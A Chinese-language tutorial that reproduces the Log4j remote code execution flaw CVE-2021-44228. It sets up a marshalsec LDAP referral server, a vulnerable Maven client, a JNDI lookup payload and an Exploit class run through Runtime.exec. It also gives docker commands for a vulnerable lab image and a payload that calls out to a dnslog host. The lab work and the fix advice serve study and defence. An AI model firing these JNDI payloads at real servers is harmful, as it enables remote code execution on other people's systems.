Log4j远程代码执行漏洞复现

漏洞简介


  • 漏洞编号:CVE-2021-44228
  • 漏洞级别:0day
  • Apache Log4j2是一个基于Java的日志记录工具。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
  • 漏洞适用版本为2.0 <= Apache log4j2 <= 2.14.1,只需检测Java应用是否引入 log4j-api , log4j-core 两个jar。若存在应用使用,极大可能会受到影响。
  • 修复方法:升级Apache Log4j2所有相关应用到 >=log4j-2.15.0-rc2 版本

漏洞原理

  • 当log4j打印的日志内容中包含${jndi:ldap://ip}时,服务端程序就会通过ldap协议访问ip这个地址,若访问的是一个包含java代码的class文件的地址,程序会通过此地址下载class文件并在服务端主机执行class文件中的任何命令。

环境搭建

服务端

  • LDAP,轻型目录访问协议,是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。是一个访问在线目录服务的协议。可使用marshalsec开启LDAP服务,具体操作为

    1.下载marshalsec后进入文件夹编译

    mvn clean package -DskipTests

    2.然后进入target目录启动

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

客户端

  • 创建Maven项目,并将以下配置文件加入pom.xml中:

    <dependencies>
    <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.0</version>÷
    </dependency>
    </dependencies>
  • 创建LogTest.java,即poc,用于测试客户端。

    import org.apache.logging.log4j.LogManager;
    import org.apache.logging.log4j.Logger;
    class LogTest {
    public static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
    logger.error("${jndi:ldap://localhost:1389/Exploit}");
    }
    }
  • 创建Exploit.java,并使用java c命令在本目录生成Exploit.class,当访问通过jndi访问localhost:1389/Exploit时服务端会执行此文件。

    public class Exploit {
    static {
    System.err.println("Pwned");
    try {
    String terminal = "open -a Calculator";
    //定义在服务端要执行的命令,本条执行效果为打开计算器。Windows命令为"calc"
    Runtime.getRuntime().exec(terminal);
    } catch ( Exception e ) {
    e.printStackTrace();
    }
    }
    }

代码地址

运行结果

  • 截图:

  • 至此已成功复现此远程执行代码漏洞。

漏洞镜像

  • Log4J 漏洞复现+漏洞靶场

    docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
    docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
    docker exec -it log4j_vuln_container /bin/bash
    /bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh
  • 启动后访问http://ip:8080/webstudy/,post传参c=${jndi:ldap://xxx.dnslog.cn/exp},即可在dnslog上看到结果。